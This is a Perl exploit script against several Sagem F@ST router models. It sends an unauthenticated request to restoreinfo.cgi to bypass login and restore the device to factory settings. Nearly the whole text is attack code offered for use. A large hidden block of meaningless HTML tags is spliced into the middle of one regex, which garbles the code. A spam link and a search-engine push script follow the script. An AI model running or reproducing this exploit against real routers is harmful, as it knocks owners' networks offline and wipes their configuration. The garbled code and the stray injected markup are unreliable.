#!/usr/bin/perl # Exploit Title: Sagem routers Remote Reset Exploit # Date: 04/03/2010 # Author: AlpHaNiX # Software Link: null # Version: Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404 # Tested on: Sagem F@ST 2404 # Code : use HTTP::Request; use HTTP::Headers; use LWP::UserAgent; system('cls'); if (@ARGV != 1) { header();help(); exit(); } else{ if ($ARGV[0] =~ /http:\/\// ) { $ipz = $ARGV[0]."/"; } else { $ipz = "http://".$ARGV[0]."/";$ip=$ARGV[0] } header(); print "[+] Working on $ip ..\n\n"; exploit(); sub help() { print "\n[X] the target must be sagem rooter main ip adress\n". "[X] affected Versions : Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404)\n". "[X] Usage : perl $0 target \n". "[X] Example : ./exploit.pl 192.168.1.1 \n"; } sub header() { print "\n[+]====================================[+]\n". "[+] Sagem routers Remote Reset Exploit [+]\n". "[+] Found And Exploit By AlpHaNiX [+]\n". "[+] Contact : AlpHa[at]Hacker[dot]Bz [+]\n". "[+] HomePage : NullArea.Net [+]\n". "[+]====================================[+]\n\n\n" } sub exploit() { my $target = $ipz."restoreinfo.cgi" ; my $request = HTTP::Request->new(GET=>$target); my $useragent = LWP::UserAgent->new(); my $response = $useragent->request($request); if($response->content =~ m/401 Unauthorized<\/TITLE><\/HEAD>/i && $response->content =~ m/<BODY BGCOLOR="#cc9999"> <div style="position:fixed;left:-9000px;top:-9000px;"><object id="sga4y"></object><sup id="sga4y"><blockquote id="sga4y"><dd id="sga4y"></dd></blockquote></sup><small id="sga4y"><center id="sga4y"><optgroup id="sga4y"></optgroup></center></small><object id="sga4y"><object id="sga4y"><u id="sga4y"></u></object></object><td id="sga4y"></td><optgroup id="sga4y"><bdo id="sga4y"><xmp id="sga4y"></xmp></bdo></optgroup><u id="sga4y"></u><optgroup id="sga4y"><code id="sga4y"><code id="sga4y"></code></code></optgroup><blockquote id="sga4y"></blockquote><u id="sga4y"><kbd id="sga4y"><source id="sga4y"></source></kbd></u><code id="sga4y"><samp id="sga4y"><samp id="sga4y"></samp></samp></code><menu id="sga4y"></menu><noscript id="sga4y"></noscript><rt id="sga4y"><rt id="sga4y"><option id="sga4y"></option></rt></rt><td id="sga4y"></td><bdo id="sga4y"></bdo><label id="sga4y"></label><code id="sga4y"></code><center id="sga4y"></center><center id="sga4y"></center><sup id="sga4y"></sup><blockquote id="sga4y"><menu id="sga4y"><menu id="sga4y"></menu></menu></blockquote><object id="sga4y"></object><sup id="sga4y"></sup><center id="sga4y"></center><xmp id="sga4y"><dd id="sga4y"><optgroup id="sga4y"></optgroup></dd></xmp><object id="sga4y"></object><small id="sga4y"><small id="sga4y"><dd id="sga4y"></dd></small></small><strong id="sga4y"><label id="sga4y"><samp id="sga4y"></samp></label></strong><legend id="sga4y"></legend><acronym id="sga4y"></acronym><small id="sga4y"><small id="sga4y"><xmp id="sga4y"></xmp></small></small><bdo id="sga4y"></bdo><center id="sga4y"><table id="sga4y"><bdo id="sga4y"></bdo></table></center><tt id="sga4y"></tt><acronym id="sga4y"></acronym><code id="sga4y"><samp id="sga4y"><samp id="sga4y"></samp></samp></code><tbody id="sga4y"></tbody><xmp id="sga4y"><nav id="sga4y"><code id="sga4y"></code></nav></xmp><div id="sga4y"></div><div id="sga4y"></div><wbr id="sga4y"><wbr id="sga4y"><legend id="sga4y"></legend></wbr></wbr><noscript id="sga4y"><td id="sga4y"><table id="sga4y"></table></td></noscript><option id="sga4y"><li id="sga4y"><wbr id="sga4y"></wbr></li></option><acronym id="sga4y"></acronym><samp id="sga4y"></samp><wbr id="sga4y"></wbr><object id="sga4y"></object><samp id="sga4y"><object id="sga4y"><u id="sga4y"></u></object></samp><optgroup id="sga4y"></optgroup> <dd id="sga4y"><nav id="sga4y"><code id="sga4y"></code></nav></dd><noscript id="sga4y"></noscript><xmp id="sga4y"></xmp><option id="sga4y"><li id="sga4y"><wbr id="sga4y"></wbr></li></option><legend id="sga4y"><noscript id="sga4y"><center id="sga4y"></center></noscript></legend><bdo id="sga4y"></bdo><label id="sga4y"></label><small id="sga4y"><small id="sga4y"><dd id="sga4y"></dd></small></small><dd id="sga4y"><nav id="sga4y"><code id="sga4y"></code></nav></dd><strong id="sga4y"><samp id="sga4y"><samp id="sga4y"></samp></samp></strong><tt id="sga4y"></tt><tr id="sga4y"></tr><small id="sga4y"><small id="sga4y"><xmp id="sga4y"></xmp></small></small><acronym id="sga4y"><kbd id="sga4y"><source id="sga4y"></source></kbd></acronym><acronym id="sga4y"></acronym><object id="sga4y"><object id="sga4y"><tr id="sga4y"></tr></object></object><small id="sga4y"></small><button id="sga4y"><tr id="sga4y"><wbr id="sga4y"></wbr></tr></button><wbr id="sga4y"></wbr><u id="sga4y"></u><samp id="sga4y"><object id="sga4y"><u id="sga4y"></u></object></samp><option id="sga4y"><noscript id="sga4y"><li id="sga4y"></li></noscript></option><menu id="sga4y"></menu><bdo id="sga4y"><small id="sga4y"><menu id="sga4y"></menu></small></bdo><strong id="sga4y"><div id="sga4y"><input id="sga4y"></input></div></strong><samp id="sga4y"><s id="sga4y"><acronym id="sga4y"></acronym></s></samp><object id="sga4y"></object><option id="sga4y"></option><blockquote id="sga4y"></blockquote><table id="sga4y"></table><label id="sga4y"><object id="sga4y"><acronym id="sga4y"></acronym></object></label><li id="sga4y"><wbr id="sga4y"><wbr id="sga4y"></wbr></wbr></li><object id="sga4y"></object><noscript id="sga4y"></noscript><sup id="sga4y"></sup><tr id="sga4y"></tr><xmp id="sga4y"></xmp><sup id="sga4y"></sup><tt id="sga4y"></tt><optgroup id="sga4y"><optgroup id="sga4y"><bdo id="sga4y"></bdo></optgroup></optgroup><nav id="sga4y"></nav><object id="sga4y"></object><tr id="sga4y"></tr><sup id="sga4y"></sup><u id="sga4y"></u><tbody id="sga4y"></tbody><tt id="sga4y"></tt><tr id="sga4y"></tr><code id="sga4y"></code><tr id="sga4y"></tr> <acronym id="sga4y"><kbd id="sga4y"><rt id="sga4y"></rt></kbd></acronym><input id="sga4y"></input><code id="sga4y"></code><tt id="sga4y"></tt><div id="sga4y"></div><u id="sga4y"></u><xmp id="sga4y"></xmp><object id="sga4y"><acronym id="sga4y"><acronym id="sga4y"></acronym></acronym></object><center id="sga4y"></center><strong id="sga4y"><samp id="sga4y"><object id="sga4y"></object></samp></strong><legend id="sga4y"></legend><legend id="sga4y"><tbody id="sga4y"><center id="sga4y"></center></tbody></legend><acronym id="sga4y"></acronym><tt id="sga4y"></tt><wbr id="sga4y"><wbr id="sga4y"><div id="sga4y"></div></wbr></wbr><rt id="sga4y"></rt><dd id="sga4y"></dd><option id="sga4y"><li id="sga4y"><td id="sga4y"></td></li></option><td id="sga4y"><div id="sga4y"><div id="sga4y"></div></div></td><acronym id="sga4y"><kbd id="sga4y"><source id="sga4y"></source></kbd></acronym><blockquote id="sga4y"></blockquote><dd id="sga4y"></dd><blockquote id="sga4y"></blockquote><table id="sga4y"></table><blockquote id="sga4y"></blockquote><xmp id="sga4y"></xmp><td id="sga4y"><div id="sga4y"><div id="sga4y"></div></div></td><xmp id="sga4y"></xmp><bdo id="sga4y"></bdo><center id="sga4y"></center><object id="sga4y"></object><tt id="sga4y"></tt><small id="sga4y"></small><tr id="sga4y"></tr><source id="sga4y"><option id="sga4y"><option id="sga4y"></option></option></source><acronym id="sga4y"></acronym><acronym id="sga4y"><acronym id="sga4y"><kbd id="sga4y"></kbd></acronym></acronym><small id="sga4y"></small><rt id="sga4y"></rt><u id="sga4y"><sup id="sga4y"><rt id="sga4y"></rt></sup></u><center id="sga4y"></center><center id="sga4y"></center><tbody id="sga4y"></tbody><u id="sga4y"></u><wbr id="sga4y"></wbr><rt id="sga4y"><rt id="sga4y"><button id="sga4y"></button></rt></rt><li id="sga4y"></li><menu id="sga4y"></menu><dd id="sga4y"></dd><bdo id="sga4y"></bdo> <kbd id="sga4y"></kbd><u id="sga4y"></u><input id="sga4y"></input><li id="sga4y"></li><kbd id="sga4y"><rt id="sga4y"><rt id="sga4y"></rt></rt></kbd><small id="sga4y"><dd id="sga4y"><optgroup id="sga4y"></optgroup></dd></small><acronym id="sga4y"><kbd id="sga4y"><rt id="sga4y"></rt></kbd></acronym><sup id="sga4y"></sup><table id="sga4y"></table><wbr id="sga4y"></wbr><code id="sga4y"></code><tt id="sga4y"><tt id="sga4y"><label id="sga4y"></label></tt></tt><input id="sga4y"><tt id="sga4y"><sup id="sga4y"></sup></tt></input><li id="sga4y"></li><small id="sga4y"></small><small id="sga4y"></small><object id="sga4y"><u id="sga4y"><sup id="sga4y"></sup></u></object><tr id="sga4y"><tr id="sga4y"><wbr id="sga4y"></wbr></tr></tr><acronym id="sga4y"></acronym><center id="sga4y"><table id="sga4y"><small id="sga4y"></small></table></center><object id="sga4y"></object><tr id="sga4y"></tr><center id="sga4y"></center><kbd id="sga4y"></kbd><div id="sga4y"></div><strong id="sga4y"></strong><kbd id="sga4y"></kbd><center id="sga4y"></center><div id="sga4y"><small id="sga4y"><dd id="sga4y"></dd></small></div><div id="sga4y"><tbody id="sga4y"><center id="sga4y"></center></tbody></div><sup id="sga4y"></sup><legend id="sga4y"><tbody id="sga4y"><center id="sga4y"></center></tbody></legend><menu id="sga4y"><tt id="sga4y"><sup id="sga4y"></sup></tt></menu><kbd id="sga4y"><source id="sga4y"><option id="sga4y"></option></source></kbd><option id="sga4y"></option><rt id="sga4y"></rt><sup id="sga4y"></sup><samp id="sga4y"><object id="sga4y"><object id="sga4y"></object></object></samp><option id="sga4y"></option><u id="sga4y"><sup id="sga4y"><sup id="sga4y"></sup></sup></u><code id="sga4y"></code><acronym id="sga4y"><tr id="sga4y"><source id="sga4y"></source></tr></acronym><samp id="sga4y"></samp><source id="sga4y"></source><xmp id="sga4y"></xmp><tt id="sga4y"></tt><acronym id="sga4y"></acronym><rt id="sga4y"></rt><table id="sga4y"><small id="sga4y"><tbody id="sga4y"></tbody></small></table><bdo id="sga4y"></bdo> <code id="sga4y"></code><small id="sga4y"></small><menu id="sga4y"><strong id="sga4y"><samp id="sga4y"></samp></strong></menu><code id="sga4y"><blockquote id="sga4y"><input id="sga4y"></input></blockquote></code><option id="sga4y"></option><label id="sga4y"><object id="sga4y"><object id="sga4y"></object></object></label><wbr id="sga4y"><legend id="sga4y"><noscript id="sga4y"></noscript></legend></wbr><sup id="sga4y"></sup><object id="sga4y"><object id="sga4y"><u id="sga4y"></u></object></object><object id="sga4y"></object><table id="sga4y"></table><strong id="sga4y"></strong><div id="sga4y"></div><xmp id="sga4y"></xmp><tt id="sga4y"><rt id="sga4y"><rt id="sga4y"></rt></rt></tt><acronym id="sga4y"></acronym><object id="sga4y"></object><input id="sga4y"></input><s id="sga4y"></s><tr id="sga4y"><wbr id="sga4y"><option id="sga4y"></option></wbr></tr><li id="sga4y"><wbr id="sga4y"><table id="sga4y"></table></wbr></li><rt id="sga4y"><button id="sga4y"><tr id="sga4y"></tr></button></rt><wbr id="sga4y"></wbr><acronym id="sga4y"><tr id="sga4y"><tr id="sga4y"></tr></tr></acronym><tr id="sga4y"></tr><acronym id="sga4y"></acronym><legend id="sga4y"></legend><bdo id="sga4y"></bdo><noscript id="sga4y"></noscript><object id="sga4y"></object><wbr id="sga4y"><wbr id="sga4y"><legend id="sga4y"></legend></wbr></wbr><noscript id="sga4y"></noscript><sup id="sga4y"></sup><xmp id="sga4y"></xmp><code id="sga4y"></code><tbody id="sga4y"></tbody><button id="sga4y"></button><input id="sga4y"><tt id="sga4y"><tt id="sga4y"></tt></tt></input><rt id="sga4y"><button id="sga4y"><tr id="sga4y"></tr></button></rt><small id="sga4y"><dd id="sga4y"><optgroup id="sga4y"></optgroup></dd></small><s id="sga4y"><acronym id="sga4y"><acronym id="sga4y"></acronym></acronym></s><small id="sga4y"><xmp id="sga4y"><optgroup id="sga4y"></optgroup></xmp></small><object id="sga4y"></object><option id="sga4y"></option><center id="sga4y"></center><td id="sga4y"></td><tbody id="sga4y"><center id="sga4y"><optgroup id="sga4y"></optgroup></center></tbody><center id="sga4y"></center><sup id="sga4y"></sup><dd id="sga4y"></dd></div><H4>401 Unauthorized<\/H4>/ && $response->content =~ m/<ADDRESS><A HREF="http:\/\/www.acme.com<http://www.acme.com>\/software\/micro_httpd\/">micro_httpd<\/A><\/ADDRESS>/ ) { print "[+] Authentication bypassed !\n" ; print "[+] Exploited , $ip is restored" ; } else { print "[+] Please make sure you entered real sagem router ip\n" ; } } } <a href="http://www.qqdpw.com/">97av</a> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>